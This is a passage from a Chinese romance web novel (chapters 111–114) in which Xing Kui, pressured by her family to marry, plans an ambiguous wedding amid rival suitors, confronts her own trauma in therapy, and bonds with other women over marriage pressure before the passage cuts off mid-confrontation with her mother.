她和骗子先生相识于很久以前,最初是她拿他发泄,后来他很偶尔也会向她倾诉。 几个月一次的通话里,邢葵听说骗子先生如今洗心改面从了良,找了份工作,还有了喜欢的女孩子。 只不过他喜欢的女孩和别人在一起了,此前,骗子先生不知道他失败的原因,邢葵还用自身经历安慰过他,让他复盘复盘,是不是有说过女孩家人的坏话等等。 周镜推了下眼镜,他就是凭此,从邢葵那里探得江玉鸣败给梁君赫的原因:“他们要结婚了。” “啊?”邢葵仰头贴墙,“事已至此,祝福那姑娘吧。” “为什么要我祝福她?” “还用我说嘛,虽然你改邪归正了,但终归有劣迹,换作我的话,我会希望我的心上人和更好的人牵手。”邢葵张了张她的手。 “假如我跟他好的程度等同呢?” “这么自信?那就看那姑娘喜欢谁吧。” “她谁也不喜欢。” 邢葵怔了一秒:“这个问题也太难了吧!我想想,让我思考一下。” 她撑住下巴,低声,“谁都不喜欢,不喜欢为何会结婚?家里逼的……” “葵葵。”粗厚的年轻人声音,许野迈着矫健的腿走近。 走廊拐角,周镜眉头下皱,约好给他一刻钟,许野怎么才五分钟就出现了。 许野也在想,约好先让周镜和邢葵相处一刻钟,他人怎么不在。 既然这样,他先来吧。 “干什么在这里打电话?你爸妈呢?”许野站定,午间的金阳穿过窗户漏在他的脸颊,喉结随着说话在他有线条的脖颈起伏。 电话被骗子先生挂了,邢葵瞄了下:“李正军爱装,在和江伯父聊天,我妈去厕所了。” 一抬眼,许野褐色的眸子定定地看着她:“你真要和江哥结婚吗?” 邢葵闭上嘴,喉咙发出轻微的吞咽声:“彩礼都聊过了,怎么还问?” 许野垂下眼睫:“我会问到结婚的那一天。” 他伸出拇指和食指,捏住她一根手指,抬高,祈求一般地压低声音,“他们都觉得你是假结婚,我也觉得,万一,万一是真结婚,你能让我当小三吗?” “什么?”邢葵惊愕,要抽回手指,他却加重了力道,神情坚定,她无奈,“你别受江玉鸣乱七八糟的话影响呀。” “我不想失去你,倘若这样能不失去你,那我愿意。” “下下策,却也不失为一种办法。”周镜温柔又疏离的嗓音在走廊深处响起,他走出来,镜片后的眼睛淡如雾地看了许野一眼。 许野被偷听到想法,碎发下的耳尖飘起一抹红,却仍郑重地盯着邢葵。 “那我也来添一句。”周镜平静的目光也落向邢葵,“我也可以。” 你可以什么呀!邢葵交叉两条手臂比“×”:“坚决不劈腿。” 周镜不慌不忙:“是假结婚,等你离婚后,不和任何人有明面关系,和谁接触都合规合矩。” 他说的话,好像能做骗子先生向她提的问题答案。不不不,邢葵,你再想想。 周镜有点阴,有可能在话里埋陷阱。 他是不是,在借此探她,是真结婚还是假结婚? 毕竟他们再猜测是假的,邢葵和江玉鸣两个当事人都没承认。 猜中周镜心思,邢葵若无其事应对道:“我没说是假结婚。” 周镜神色稍凝,许野两条浓眉快拧成竖着的剑。 “话说我妈上厕所怎么还不回来?”邢葵低头瞧了眼手机时间,“都快十分钟了,拉肚子吗?我去找找。” 她方一提步,许野的右臂按住她左边,周镜的左臂按住她右边。 邢葵呆呆,贴着墙弯曲膝盖往下缩,声音细得好比蚊蝇:“壁咚是指一个人咚一个,哪有两个人咚一个的。” 许野听清:“周哥,你往左边走一下。” 周镜反问:“为什么不是你往右边走?” 邢葵捂住耳朵,悄悄地逃,就他俩壁个咚都能火热争执的架势,还想未来都跟她纠缠,不得天天打架啊。 不对。 她倏地站直双腿:“走廊不够私密,那边就有监控,周律师,你的性格不可能在江家监控下玩壁咚。” 周镜淡然:“你要和江玉鸣结婚,我气坏了。” “不对,你俩是故意将我拦在这里。”除非她亲周镜,否则周镜的嘴撬不开,还是问许野,“许野你乖,告诉我为什么。” 一声“你乖”,许野被哄得面红耳赤,缴械投降:“哥哥们说,要提前确认江哥是否有能和你必定离成婚的条件,梁哥去查了,我跟周哥拦你,厉哥拦江哥。” 他们真在合作啊! 此时此刻,江玉鸣卧室,梁君赫手持黑漆漆的老虎钳,站在他隐藏的小房间,使出全身力气钳锁,雪白的额头都冒出筋。 江梁两个人是表兄弟,梁君赫少年时来江家玩就发现过这一房间,但不曾在意,眼下他想打开看看。 咔哒,锁掉落,梁君赫兴冲冲打开。 “梁少爷不要!”房门口,江家佣人惊恐大喊,在佣人眼中,这间房装的是极度凶险的化学物品。 “小赫?”佣人身边,邢母见梁君赫愣住,疑惑不解地走进房。 佣人想拦邢母,又怕室内这时连空气都危险,脚提起不敢跨过门边。 上完厕所后,佣人有意讨好主人未来亲家母,主动提出带她逛逛,少爷和少爷未来妻子住的房间是必逛之所。 梁君赫正看着小房间内照片,邢母也走过去看照片。 疾跑声传来,邢葵按住门,气喘吁吁:“妈,你听我解释。” 邢母转过头,眉开眼笑:“女婿还喜欢摄影啊。” 啥?邢葵狐疑地迈步,只见敞开的门后,墙壁上挂着一张又一张风景照,墙边桌面放着一盏洁白的小台灯,台灯旁放着相机和一张她的照片,照片上还用红笔画了只小爱心。 江玉鸣,这波你在大气层。 第112章 “见笑了伯母,一点小爱好,难登大雅之堂。” 邢葵身后,许野周镜、江玉鸣厉乘川纷纷到达,江玉鸣一只手搭上她紧绷的肩,拍了拍,他不会让任何人事物威胁到他们的婚礼。 “江哥,好值得‘保护’的爱好。” 梁君赫靠到打开的铁门,拿着老虎钳敲掌心,他不信上锁的门后是风景照,比起风景照,危险的化学物品都要更可信。 不过当着邢葵和邢母的面,揭穿江玉鸣破坏邢葵目标的行径梁君赫做不出,就轻微地阴阳怪气一下。 “散了散了。”邢葵走上前关门,挽住邢母胳膊,“妈,来逛也 不跟我说一声,我陪你吧。”她瞥了眼身侧,示意五人别跟着。 “你打电话我怕打扰你。”邢母目光游移,这几个兄弟又同在一间房内,三个和邢葵谈过,一个即将结婚,还有一个疑似在追求。 邢母擦擦额头,不知如何描述她的尴尬,她没读过几年书,但再读十年也不找不到贴切的描绘。 “这里是水疗室,江玉鸣父亲讲究养生,不少楼层都有按摩椅。” 邢葵介绍着,邢母忽然抓住她的手臂,小声地问:“你真要和小江结婚吗?要不再想想,他的朋友四个有三个都是你谈过的,这样不好。” 周围没其他人,邢母也没意识到水疗室门对面,东方斜角的监控存在,此刻,江宅监控室内挤满各家少爷,保安们列队贴墙站,当自个儿是聋子。 监控不能直接拍到水疗室内场景,但能录进声音。 邢母这一句,等于给现场所有少爷判了死刑。 全体屏气凝神,静待邢葵回复。 “妈,出轨你都不计较,干嘛计较这个?”邢葵语气轻松,拍拍邢母抓她手臂的手背。 邢母一下子抽手:“你这孩子,出轨我什么时候不计较了?” 邢葵挑眉:“很多时候。” “瞎说八道。”邢母瞪了她一眼,“妈是觉得,他们都是一伙的,你嫁给其中一个,日后受了委屈,被他们合伙欺负怎么办?小江形象是不错,但抛开脸不谈——” “打住,妈,他那张脸能抛开吗?”邢葵惊诧反问,抬手比划,“他那张脸光芒四射的,我看到我都恍神。” 监控室内,厉乘川四人四道视线射向江玉鸣。 江玉鸣摸了下他的面颊,笑着看向他们:“看见四射的光芒了吗?” 滚!那他们呢? “也没那么好看吧。”监控中传来邢母的反对声,她不认可邢葵说法,“有点妖里妖气的,那个厉乘川好,看着就稳重,许野也好,看着有力气。” 监控室内,稳重的厉乘川和有力气的许野睨了眼江玉鸣,好像用眼神在鄙夷:妖里妖气。 周镜&梁君赫:那我俩呢? “小镜也行吧,就是太瘦了,小赫小白脸。” 周镜梁君赫惨被重伤。 “实话说,他们除了许野都挺瘦的,男人壮实点好。” 邢葵倒吸一口凉气,果真是长辈审美,难怪她经常看见长辈们对明明胖的男人喊不胖,他们眼里的“标准身材”比教科书标准大一圈! 她还是中意教科书标准,也能欣赏多种多样的帅气:“妈,他们分明好看得不分伯仲。” 她一句评价,让受创的几人站直。 “啥伯仲?妈听不懂,你别跟我打岔哦,我在问你,你真考虑清楚要跟小江结婚吗?” 邢母握住邢葵的手。 “妈不在乎他家多有钱,妈听你姨说,我女儿现如今一年能挣几百万,够了,你都不一定非要嫁人——” 邢葵微惊地张唇。 “——招婿也行啊!”邢母成竹在胸,“妈找人跟你相亲。” “……”我的妈呀,你的话只说一半就停下该有多好,邢葵抽离手拒绝,“不要,你和亲戚能介绍的相亲男一个比一个歪瓜裂枣,我和江玉鸣关系挺好的,你不用担心其他人,都是好人,不会欺负我。” 她坚定地表示:“我已决意两个月后办婚礼,你、李正军,或是家里亲戚,没有人能阻止我。” “再说一遍。” 浴室天花板灯光暖黄,浴缸里水声哗啦,江玉鸣从她的心口抬起唇,吮上她的下唇,艳丽芬芳。 邢葵身心如跌宕在起伏的浪中,房顶的玫瑰花型灯在她眼里朦胧,她见过玫瑰花茎,很长,江玉鸣的手指也很长。 “嗯……什么?” “再说一遍你对你母亲说的,没任何人能阻止你。” “没……什么?!”邢葵向后上方一靠,夹紧腿,脸胀红,“你看监控!只有你吗?肯定不是只有你!你们就知道看监控!” “我很高兴,葵葵,我能稳妥当你两个月的未婚夫。”江玉鸣接近,指腹摁到她的腿根,没说的是,当时厉乘川等人表情极难看。 “我不高兴!”邢葵往水里缩,回忆起她还对邢母说,看到江玉鸣会恍神,不好意思到热成沸水中的虾米。 江玉鸣眼尾都添上笑:“害羞了?” “没害羞!我要试试练憋气!”这一刻,邢葵宛如十级妖兽会飞的鱼,速度奇快往水中一钻,江玉鸣都没拦得住。 只不过,水面咕噜噜冒泡泡,不出三秒,邢葵又钻出来,像被浪花打湿的小花朵,蔫蔫地按耳朵,两眼湿漉漉,“江医生,耳朵进水了。” 江玉鸣忍俊不禁,环过她的肩:“过来,我帮你。” 耳朵进水后,耳窝里就像覆上一层戳不破的膜,邢葵听声音都模糊,不开心地趴到江玉鸣肩头。 他的手掌按上她的耳朵,用力地按,突然地松,循环往复。时不时地瞥瞥她,眼神含笑,忽然一怔。 邢葵伸指,温柔触碰江玉鸣背后一条伤疤:“江医生,谢谢你啊,为了我将你用来发泄的小房间都改了,以后你有不悦就向我倾诉吧。” 江玉鸣后背僵住,纵横交错的疤痕躺在他脊柱沟、蝴蝶骨……转瞬,他艳然笑开,贴到她听不太清话的耳朵,音调诱惑:“倾诉什么,不如葵葵直接陪我做。” 邢葵震惊,一手揪住江玉鸣耳尖:“不要给点颜色就开染坊。” 兴许是水温高,她皮肤都冒起热气,江玉鸣笑着,按出她耳里的水,下移,也钻进水中:“我陪葵葵做也行。” 做什么都行,谁让他克制不住对她迷恋。 水下响起一阵阵吞咽声,江玉鸣修长的五指穿进邢葵落在浴缸边的五指,紧紧相扣。 邢葵没想到结个婚那么麻烦。 她看到江玉鸣罗列的表,定婚戒、婚纱……选酒店、化妆师……伴手礼、伴郎伴娘……单扫了眼她都觉眼花缭乱。 江玉鸣倒乐在其中,大包大揽,邢葵劝了好几次没必要,可他不赞同,抓着她的手贴脸。 “葵葵,你简化掉了许多流程,让未婚夫发挥一点作用好吗?” 他歪头,用脸颊蹭她的掌心,如果这样她还不同意,他就换舌头舔。 邢葵只好点头:“那你别累着啊,别人不知情,但你知道这场婚礼……” “我知道,我半点都不累,送请柬给老厉他们,见到他们不爽的神情,我兴奋极了。” 重点是这个吗! 在繁琐的婚礼筹备中,他们共同度过又一年元旦、除夕、春节,时间一天天过去,不知不觉抵达婚礼前一天。 这天晚上有单身派对,一大早邢葵就被江玉鸣拉起来去试派对礼服。 “我随便穿穿不行吗?我都请的我熟人。”邢葵走进衣帽厅的时候还是苦瓜脸。 超过百平的空间内,礼服风格各样,金玉锦绣,琳琅满目,设计师及其团队已在等候,还有化妆师等等也在候场。 邢葵登时清醒,不能让打工人久等。 江玉鸣在后面半推半抱:“不可以随便穿哦,今天是你是我未婚妻的最后一天,我要将你打扮得漂漂亮亮,让老厉他们嫉妒死,啊,虽然葵葵不打扮也漂亮得让我着迷。” 邢葵抬脚轻轻地踩了他一下:“烧话咱们私下再讲。” 江玉鸣低哑地笑,唇在她额角一啄:“去试礼服吧,我也要去试了。” “好,别中途过来。”邢葵伸指警告,想起她试婚纱那会儿,婚纱脏了破了好几条。 “他走了。” 房间外,绿油油的植物后,梁君赫猫腰转回头,身后厉乘川、许野、周镜,四个人鬼鬼祟祟。 “怎么说,谁进去见葵葵?”两个月来,江玉鸣始终否认是假结婚,兴致勃勃地筹办婚礼,酸了他们一次又一次。 而邢葵,也没承认过是假结婚。眼看婚宴日期越来越近,梁君赫眼皮直跳心慌意乱,撺掇众男再来 问一问。 另外三人同样无法静心想要试探,邢葵的追求兄弟们皆知,她不该冷不丁转性真去结婚,可她又没给出过明确的态度。 万一,真是真结婚。 邢葵不要小三小四小五小六,江玉鸣也不会主动犯错,假设是真结婚,他们这辈子都会错过她。 “我们别一起进去,届时又争执起来问不出结果。”梁君赫心里啪啪打算盘,“重任就交给我吧,我甜,葵葵心软。” “葵葵心软又不止对你。”周镜冷眼看他,“我看你该负责去拖延江玉鸣,你俩有血缘关系,比我们更亲近。” 许野长腿曲着:“嗯,梁哥你鬼点子也多,适合应对江哥,葵葵那里我去,我身手好,能避开人。” 厉乘川冷淡的目光擦过许野跃跃要迈出的腿:“你块头也大,不是吗?依我看,你去拖住江玉鸣也合适,他不好骗,你可强控。” 梁君赫头点成捣蒜:“就是就是,具有被邢伯母称赞过的身材的你,不该让我们几个哥哥瞧瞧你的能耐吗?” 许野侧过脸:“哥,我是没你聪明,但我又不蠢,说不定这是和邢葵最后一次独处的机会,谁要让给你。” 没人想让,厉乘川作为前未婚夫,万分渴盼亲口问问邢葵,他道:“我……周镜呢?” 四人队伍最末位置,方才回了梁君赫一句话、挑起众人争抢的周镜不知何时悄悄消失。 梁君赫握拳,厉乘川握拳,许野握拳,周镜,阴险东西! 那厢,室内,邢葵拿了件铅灰和象牙黄搭配的格子小礼裙走进换衣间,先站到墙面全身镜前验验,瞥见角落处熟悉的人,愣了一下,转过身。 “周律师,怎么了吗?” 周镜立在角落,换衣间暖黄的灯光,在他烟灰色的大衣分割出明暗两界,他是邢葵的初恋,是和邢葵交往时长最短的前任,也是邢葵一路努力的见证人。 “告诉我,葵葵,明天过后,我还能陪伴在你身边吗?” 邢葵垂眸,对周镜所来为何明了,抬眼:“你不是一直陪在我身边吗?骗子先生。” 第113章 周镜肩膀微微靠了下墙壁,眸子宁静地与她对视,停顿了一下,喉结滚动。 “什么时候发现的?” “可能很久以前吧,我也不知道。” 邢葵转回镜子前,提起小礼裙置到身前看大小,一根手指戳了下头。 “最初我脑子有伤,真误解是诈骗电话,后来或许是自我防御机制作用,我自己欺骗自己。 毕竟啊,周律师,你是从厉乘川那儿得到的我的电话号码吧,可厉乘川只是我隔壁床病友,不该有我的手机号码。” 不错,当初的厉乘川过于担心邢葵,行事偶有疏漏,事后,厉乘川也发现了漏洞,联系过周镜。 然而周镜,瞒下了他打电话的举动,以至于厉乘川没能做出修补。 “看过心理医生后,一些平常被我下意识忽略的细节清晰起来,我一通百通。”邢葵点点脑袋。 这就合理了。 骗子先生的真实身份关系到厉乘川,邢葵潜意识不想得知失忆,因此也一次次相信电话号码背后是骗子,又会信任骗子和他对话。 “原来葵葵这么宠我。” “?”你怎么得出这个结论的啊! 周镜嘴角牵起弧度,柔和的面目像春光照拂的湖:“葵葵看过心理医生四个月来,都没揭穿我,还愿意陪我聊天,真好。我想你不会是真结婚。” 邢葵不可能真要嫁一个人,还和另一个爱慕者背地偷联。 “我揭穿你不是想说这个!”她是想拿这件事威胁周镜来着,邢葵撑住额头,眼里流露一点点无可奈何。 她挪步,从镜子面前转过去,郑重地道,“明天对我非常重要,请别破坏它。” “既不是真结婚……”周镜沉吟,眉眼间露出几分探寻之色,“也不是假结婚?” 邢葵抿上嘴,过了会儿,小声重复数个月内她对他们的回答:“我没说过是假结婚。” 周镜双眸微深:“倘若明天过后,你还是不能解决催婚呢?” “别说丧气话!”邢葵连忙制止,“我很虔诚地向菩萨许过愿了!” 周镜神色中温柔泛泛:“果真还是和催婚相系。” “……”被钓鱼了,邢葵低头看地,生活不易,警惕周镜,慢慢地抬起头,“再度失败的话,那我继续找呗,你们不是有四十个兄弟?” 周镜站姿忽地一僵,肩头离开墙壁,他眼睛飞快闪了闪,神情浮现些微的愕:“谁有四十个兄弟?” 邢葵爽快:“你啊。” 周镜愣怔:“我吗?” “怎么了吗?”邢葵看出他的惊讶,诧异道,“以前我无意间瞄到过厉乘川手机屏幕,当时你们兄弟群有消息弹窗,我瞄见群里有四十个人呀。” 周镜听着她的话,明白了原因,将愕色压下,轻笑着低首晃头:“葵葵,人以群分,四十个兄弟,如何确保每一个都是好人呢?我们没那么多好友位,你已经见过了群内所有人。 并且,群消息弹窗并不显示群内人数,我想你看见的,大概是未读消息条数。” 邢葵呆了一下,揪揪手上小礼裙,热意从耳根弥漫开:“这样啊,那是我误会了,你出去吧,我要试衣服。” 换衣间的门打开,意识到不对的江玉鸣大步迈进来:“出去,周镜,天气晴朗,你适合和院子里碧绿苍绿橄榄绿的草一起晒太阳。” 他将邢葵圈到怀中,嘲讽地睨向好兄弟,“觊觎别人的未婚妻,自己没有未婚妻吗?” 周镜不落下风:“哦,她在你怀里。” 他淡定地移向门,偏过头,竖起一根食指到唇前,对邢葵亲昵道,“刚才我们说的话,不要告诉第三个人。” 说得跟他俩有秘密似的,也没聊不能聊的啊,邢葵暗中腹诽,见门关上就想继续换衣服。 环着她的江玉鸣呼吸湿热地下落,扯住她手上礼服,嫉妒化作阴恻恻的话音:“我帮你穿,刚刚讲什么了,跟老公说说……怎么挑件有灰色的衣服,我去找件红的!” 午饭过后,一辆红色法拉利驶出江家,据说是少爷对少爷夫人晚上参加单身派对的礼服不满,带她去购物。 昂贵的法拉利驶进车库,墙壁上挂着“辉德”字样。 邢葵和江玉鸣从车里走出,某栋楼某扇门边贴着“心理咨询室”牌子,江玉鸣抓抓她的手,亲了下她的额头,拉开门,松手。 门关上,邢葵扬起笑:“刘教授,这是我第十六次来啦。” 第十六次,心理咨询。 桌后,刘教授亲切地招手:“邢葵,来,坐,最近怎么样?” 邢葵坐到她熟悉的椅子上,轻松愉快:“感觉挺好的,一切都在向好的方面发展,没人再催我结婚……刘教授,我现在挺快乐的。” 没有亲人再说她“太挑了”,父母也不再说将她“惯坏了”。 “早上发生了一件事,我一直在误会他们有几十个兄弟,可怎么会有几十个兄弟呢?他否认时我就在想,啊,原来我那会儿就对活下来不满。” 刘教授执笔的动作微顿,指节悄悄收紧,她每次和邢葵这孩子谈话,都觉得这孩子表面阳光,内里早就裂纹密布,一触即溃。 可这孩子,无论面对狂风还是海啸,都依然坚强。 昔日,刘教授说过,邢葵在被车撞击的瞬间,有过去死的念头。 “你知道吗?我住院的第一天,我妈碰见厉乘川和江玉鸣两位适龄男,就暗暗催我婚,说什么‘他俩帅有何用,又不是她女婿’,正是因为这件事,促成失忆后的我再次走上解决催婚之路。” 那句话,是失忆后的邢葵重踏解决催婚路的直接诱因。 “可也是这件事,内在的我大约受到了刺激。” 邢葵才是世界上最了解她自己的人。 “彼时的我 可能想骂脏话,我才从鬼门关回来哎,就不能,至少住院期间别提到催婚吗? 我还不如死了。 但我不能死,我在这个世界上还没留下过足够多的痕迹,拜托,谁要死后被人谈论起来,只有没结婚啊。 我得振作,得在世上留下谈不完的痕迹,得弄死癫狂的催婚。 所以我假想,隔壁帅气的病友有四十个帅气的兄弟,总有人能帮助到我吧?” 最后一次心理咨询,邢葵向刘教授从车祸第一天起剖析了自己,她自我防御、自我激励,她说的话,概括了她过去两年。 活下来,让她重新跌进催婚深渊,她不可能不为此痛苦,可不管深渊有多深,小天使也会想方设法往天空飞。 眼下,是邢葵距离天空最近的时刻。 “谢谢刘教授这几个月帮我梳理问题,明天我的婚宴上有很多好吃的,欢迎来玩呀。” 向刘教授表达了感谢,邢葵离开心理咨询室,江玉鸣正在打电话,一边回一边走到她身边牵她的手,就是想贴着。 “我的人接到你家那边亲戚了,人真多。” 意料之中,邢葵跟着他走:“还好酒店费用厉乘川愿意给我打折,不然我得心疼死。” 江玉鸣酸溜溜:“他还愿意不收钱呢。” 邢葵笑:“那不成,我的未婚夫是你呀。” 江玉鸣被哄好了:“葵葵说话真中听,亲一口。” “公开场合严禁发烧!” 婚前单身派对分为男方和女方两部分,江玉鸣那边,他故意要在厉乘川的酒店办,邢葵这边在她新买的别墅办。 是的,她全款买了一栋别墅。 曾经的她蜗居在小小的偏僻地区居民自建房里,省吃俭用想证明她不比那些需要父母付首付的儿子差,如今的她做到了。 有厉乘川提供折扣,邢葵花费一千多万购入两百多平,鉴于它抢手的地理位置,这个价格算得上便宜。 就是她买完之后吧,附近四栋别墅也纷纷有了买家。就周镜没买,他节俭加胸有城府,表示想在她家租一间卧室。 晚霞烧红天际,邢葵站在全身镜前,贴身的细吊带裙为黄到红的渐变,仿佛日落流淌身上。 别墅内有一些江玉鸣调来的佣人,别墅外,一名戴黑框眼镜的女性走下出租车,抱着向日葵花走到门口。 “您好,这里是邢葵家吗?”她有点不确定,询问守在门口的陈妈,探头看,大波浪头发从肩后滑到肩前。 陈妈不因对方是女性就松懈,邢葵事业如日中天,有大量狗仔乃至私生盯着她,江玉鸣派她来,她定然要仔细排查。 “请柬。” 大波浪取出请柬,陈妈接过来细看,正在这时,门口又几辆车停下。 最前方的车亮眼华贵,司机下车恭请主子,市值上千亿公司的老董谢成雯出场,一身黑色系扣风衣,搭配红色腰带,四十多岁,气场强大。 在她后一辆车,近年跻身娱乐行业龙首的梁昭然出现,头发扎成丸子,毫无碎发,驼色西装加同色西装裤,锐不可当。 再往后,车主周梨几乎是踹开车门,短发随风飘舞,白色皮草配黑色包臀裙,拉宽大的墨镜的手指涂着玫红色指甲油,盛气凌人。 大波浪盯着周梨,她只认识周梨。 众所周知,娱乐圈知名的疯子周梨,只和一个叫天天奇妙历险的网络红人是好友,天天奇妙历险真名邢葵。 难道和她在网上聊天的邢葵是那个邢葵?那个周边赫拉索红遍全国的邢葵? “来了,陈妈,放她们进来。”邢葵从别墅里急匆匆跑出,穿着外套挡风,“谢伯母、梁总、周梨,啊,书知姐,你好,我是邢葵。” 邢葵伸出手高兴地笑,她和李书知相识于她攻略周镜那阵子,那时她的同学造李书知黄谣,事件结束后两人交换了微信号码,一晃她们聊了快两年天。 只不过,她和李书知见面那天戴着口罩帽子,李书知未必知晓她就是天天奇妙历险。 李书知呆若木鸡:“你好,赫拉,不,邢葵。” 都是女性,几人进了别墅后很快熟络,除了她们,邢葵还请了兰姐、吴佑嘉、邢知乐,准备了太多吃食,她们八个吃不完也浪费,干脆叫陈妈等佣人一块吃,还给隐藏在别墅周边的保镖们送去许多。 吃着吃着,周梨喝醉了,晃着邢葵肩膀大哭大闹:“我的姐妹,我的宝贝,我的心肝儿,你怎么就又选了周镜朋友,我恨!” 有没有可能,江玉鸣是周镜朋友,所以他没问题啊? 谢成雯喝了口红酒,看着年轻的周梨闹,笑出眼角纹路:“我也想哭,我的继承人没了。”她这么说着,却瞄了眼邢葵,显然猜到明日婚礼另有文章。 吴佑嘉放下手机,像遇到烦心事,将杯中酒一口饮尽:“老师算是解脱了,我哦,今年三十,我妈隔三差五给我发男的照片。” 李书知深有同感:“自从我跟相恋几年的男友分手,我妈也动不动给我发。” 吴佑嘉激动:“是吧!那些男的还巨挑,一米七的胖子,嫌弃我不是黑长直、白幼瘦,我真想一榔头将他轰到太平洋。” 李书知重重点头:“我还碰到过嫌弃我近视度数高的,说对下一代不好,我是同意要给他生孩子了吗?” “我也遇见过。”邢葵喝了口葡萄汁,“问我谈没谈过恋爱,想试探我是不是处。” “好恶心!” 在场唯一正处于婚姻阶段的梁昭然晃晃杯中酒:“或许找个人契约结婚不错。” 周梨喝得醉醺醺,伸手指:“你和你老公不会是……” 梁昭然挑挑眉,喝酒不答,过了会儿道:“我家底厚到十辈子花不完,也被要求联姻换取利益。” “结了婚也会离婚。”邢知乐缩在一旁,“离了婚又会挨骂。” 养好身体后,邢知乐恐惧回老家,邢葵雇佣了她做直播间食品赛道的一个选品员,没给她开多高工资,因为邢知乐只用吃吃喝喝,不做也做不来技术工作,但她对现状很满意。 至少在邢葵身旁,没人戴有色眼镜看待离异女。 “对不起姐,我不是有意在今晚提离婚的。”邢知乐发觉口误,连连道歉,“你跟姐夫一定能天长地久,我相信你的眼光!” “没事,畅所欲言。”邢葵叉了块火龙果。 兰姐也叉了块,翘起二郎腿,食指戴着装饰用的大钻戒:“还是我快活,爸妈都死了,其他亲戚我直接断交。” 吴佑嘉亮起眼睛,又蔫下去:“羡慕又不羡慕的,我可不希望我妈死。” 醉酒的周梨红着脸吵嚷:“说什么——说什么王权富贵……”好,她疯到唱起来了。 她是现场独一个真真正正毫无催婚压力的人,就连谢成雯,年轻时死了老公,也有人觊觎许家财产要催她再婚。 “啊~戒律清规……” 邢葵弯眼笑出声,除了养母一家清廉高知的周梨,场上其他女性,有着不同的年纪、学历、品貌、财富,却都遭遇过,或正在经历婚姻方面的压力。 “无论如何。”邢葵举起果汁杯,“祝愿我们,都能自由选择人生。” 七只杯子同时相碰,周梨迷迷瞪瞪,抓起一只酒瓶撞过来:“我来也!” 月光皎洁,这日晚上,对邢葵父母来讲,也是女儿的婚礼倒计时之夜,被从异地接来住进酒店总统套房的两位欣喜雀跃,根本睡不着。 人们总说,儿女结婚,父母就算完成了任务。 也不知道究竟是哪个上级给他们下发的任务,总之邢母和李正军都有一种任务即将完成的激动感,两个人在房内从小孩儿要几个谈到孩子上小学,即使过去数十天内,他们已经就此交谈过上百次,百谈不厌。 殊不知门外,周镜和厉乘川同时到来。 周镜&厉乘川:“你来做什么?” 厉乘川:“我有一个秘密。” 周镜:“我也有一个秘密。”他按响门铃,门一打开,邢母见到他 们立时笑脸唰地变尴尬脸。 看她原先乐呵呵的模样,又看见坐厅内吸香烟的李正军,周镜便猜到两位在聊什么天,眼神淡漠:“方便出来下吗?伯母。” “跟我过来。”酒店为厉乘川所有,他提前备好了私聊的房间,开门,关门,贴着玄关站,“你先聊。” 厉周是意气相投的好兄弟,今时今刻,争分夺秒的二人恢复默契。 架势令邢母紧张不安:“那个,小镜啊,小厉啊,阿姨晓得你们还欢喜我家葵葵,但感情,讲究缘分的啦。” 不是要说这个,周镜拿出手机,邢葵要解决催婚,有件残忍的事,她做不到,他来做。 他抬起手机,将屏幕怼到邢母眼前:“亲眼见见吧,你女儿到底为何会出车祸。” 绿灯倒数,红绿灯下,斑马线边,一对母女争执,母亲拖拽女儿,女儿挣扎,倒向斑马线。 砰!一辆汽车闯过红灯,撞向瘦弱的人儿。 “我不要去相亲!” “不去也得去!我就不信了,人家都抱孙子了,人家家庭多幸福哦,就我没有,过年的时候桌上我都插不上话,一年一年的,你都要三十了!想什么心思呢!跟我走!” “我不去!不去!不去啊!” “葵葵!” 邢母瞳仁颤抖,红血丝霎时狰狞,张开嘴,苍白的唇内一道道涎丝。 车祸真相,被邢母扭曲遗忘的车祸真相。 视频放到终点又从起点回播,“不要去相亲”、“不去也得去”、“砰!”、“葵葵”! 周镜冷酷地强迫她看,她也自虐般地盯着看。 半晌,邢母像被抽走力气,站立不稳,弯腰一下下拍心,她的心都要裂开了,她想要呐喊,可人悲伤到极致,发不出丝毫声音。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第114章【完结】 第114章 这件事,邢母本不会得知。车祸发生后,极度自责的她,在不能负担的痛苦中,扭曲美化了真相,认定闯红灯车主全责。 也因为邢母忘记了真相,她同时忘记了自责。 此刻,周镜逼迫她回忆。 邢母神色惊疑,怀疑是假的,可视频里一遍又一遍地传来她和女儿的声音,一遍又一遍地播放她导致女儿摔倒,哪里有假呢? 周镜举着手机:“邢葵请求我隐瞒你,可这对邢葵不公,明天就是她的婚礼,我以为,你该见识见识你都带给女儿什么。” 突然见到真相的邢母说不出话,密布红血丝的双眼盈满泪水,大力锤打胸口,重重拍击她的头。 这时,门边厉乘川迈过来,他听到车祸真相,眼里浮着一层寒冰:“我也有话要对你说,邢葵能结识周镜他们,是因为我,而邢葵,早就认识我,只是她忘了。” 邢母抬头望他,愣神。 “你们逼她结婚,她曾想和我合作结婚,但车祸后,她将我遗忘。” 邢母愕然,什么是合作结婚? 厉乘川眼神锋利,邢葵怎么就,偏偏忘掉解决方法呢? “你忘了你逼她去相亲,没忘记那年新年期间发生的事吧?” 那年过年,亲戚们一见到邢葵,就恭喜她今年要结婚、要送喜糖给他们吃。 邢葵祝亲戚的吉祥话到嘴边说不出口,邢母因此多次埋怨。 过去,邢葵住院时,邢母和亲戚的通话中,曾透露过此事。 但事情不仅如此。 过年了,爱当红娘的亲戚们见到邢老二家有个适龄未婚女,蠢蠢欲动,很快就上门说亲。 邢葵原本攒了很多假要在家休到三月,为此不得不提前结束休假,二月份就返回公司。 红娘热情又不懂分寸,不会因为她身处异地就放过她,她也清楚。 只是,人的蒙昧荒谬永远能突破想象。 “为了少被催婚,为了转移注意,新年没多久,邢葵回到工作岗位,你们不能再当面催她婚,可还是能发信息打电话。” 那天晚上,邢葵在加班,先是收到信息,再接到电话。 休假最初她很开心,却中途奇怪折返,默默陪着她加班的厉乘川心里担心,就跟了上去。 走廊尽头无人的会议室中,压抑多日的邢葵愤怒地道:“他有房有车关我什么事啊?” 是有亲戚上门说亲,说她要介绍的对象有房有车,可房车是能写她的名吗?结婚是只看房和车吗? “妈,我一直跟你讲,假如有一天我真遇到了我想和他过一辈子的人,我会结婚的,你们再这么催下去,我绝对不要结婚了。” 邢葵和家里吵起架,生气到放了狠话,这之后不久,邢葵怔怔举着手机,几秒后将电话挂断,扶上会议室桌面,难以站立,蹲下来。 “她说出她的反抗,你们却当她的反抗是无知。” 车祸后,邢母在邢葵住院第一天就催婚,是她找人契约结婚的直接诱因,而,车祸前呢? 她又是在如何哀恸的状况下,生出找厉乘川合作的念头? 失忆后她的行动受到心理暗示等影响,失忆前的原因才是关键中的关键。 厉乘川回想起那一晚,视线冷冽,如同冰做成的箭,扎往邢母:“愚昧的亲戚听到她说的话,愚昧地‘同情’你,说: 